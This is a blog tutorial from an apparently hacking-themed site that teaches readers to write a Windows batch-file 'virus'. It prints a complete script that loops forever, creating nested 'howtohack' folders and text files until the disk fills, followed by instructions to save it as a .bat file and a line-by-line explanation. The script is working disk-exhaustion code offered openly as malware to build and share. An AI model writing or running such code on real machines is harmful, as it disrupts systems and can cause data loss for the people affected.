Batch File programming tutorial 5 | Batch file directory maker virus

By -

Batch File programming tutorial 5 – Batch file directory maker virus

I have been posting about batch file programming from quite long. Batch file programming is very useful and easy. You can use these files with any other programming languages too.
Do read all of my batch programming tutorials to get a better understanding of batch files and batch file programming.
Here is my next tutorial about batch programming. In this programming tutorial I will teach you how to create a folder creator virus using batch programming.

 

Batch File Coding

@echo off
mkdir howtohack
:loop
cd howtohack
mkdir howtohack
echo>batchprogramming.txt
echo Virus in your PC>>batchprogramming.txt
goto loop
Copy the command and paste in notepad and save as anything.bat

This virus will create infinite folders named howtohack and batchprogramming.txt file into the howtohack folder until the disk is exhausted.

 

Explanation :

mkdir : this command is used to create new folder .

cd : This command is used to change the current directory .

echo >batchprogramming.txt : This command creates a new file “batchprogramming.txt”

echo text >>batchprogramming.txt : This command writes the text specified after
the echo command to text.txt file.

:loop
commad
goto loop
^^^ looping statement in batch files. In this statement you can replace command with any number of batch file commands.
Do visit this site :
Bomanj

Leave your feedback and queries in comments. I hope you like all my posts and my blog. Share how to hack with all your friends!

Rishabh Saxena

, also known as Maverick is a curious learner who wants to be an expert in every possible field of computing. Apart from learning Hacking, Programming, Networking and SEO, he loves to play Counter Strike 1.6 and sharing his knowledge with others. To know more about him, follow him on Facebook and .

1 Comment to Batch File programming tutorial 5 | Batch file directory maker virus

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

More in Batch, Featured, Hacking, Programming, Windows Hacking
Close